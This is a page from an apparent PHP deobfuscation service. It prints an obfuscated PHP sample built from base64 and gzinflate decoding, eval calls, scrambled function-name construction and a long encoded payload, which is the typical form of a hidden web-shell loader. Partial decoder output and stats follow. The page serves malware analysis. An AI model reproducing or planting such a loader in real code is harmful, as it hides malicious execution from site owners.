Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==..

Decoded Output download

if(!function_exists("rotencode")){function rotencode($string,$amount) { $key = substr($string, 0, 1); if(strlen($string)==1) { return chr(ord($key) + $amount); } else { return chr(ord($key) + $amount) . rotEncode(substr($string, 1, strlen($string)-1), $amount); }}}

Did this file decode correctly?

Original Code

<?php 
 $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
$O0O0O0O0O0O0=$keystroke1[2].$keystroke1[32].$keystroke1[20].$keystroke1[11].$keystroke1[23].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
$keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
$OO000OO000OO=$keystroke2[16].$keystroke2[12].$keystroke2[31].$keystroke2[23].$keystroke2[18].$keystroke2[24].$keystroke2[9].$keystroke2[20].$keystroke2[11];
$O0000000000O=$keystroke1[30].$keystroke1[9].$keystroke1[6].$keystroke1[11].$keystroke1[27].$keystroke1[8].$keystroke1[19].$keystroke1[1].$keystroke1[11].$keystroke1[15].$keystroke1[32].$keystroke1[1].$keystroke1[11];
eval($OO000OO000OO(base64_decode('LZc3Du
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
ouO09trjCdo1QViQNgdVUgJf7z9+/f//4L')));
?>

Function Calls

gzinflate 1
base64_decode 2

Variables

$keystroke1 wdr159sq4ayez7xcgnf_tv8nluk6jhbio32mp

Stats

MD5 424856f7d25baa9156f17c47e76bf402
Eval Count 1
Decode Time 89 ms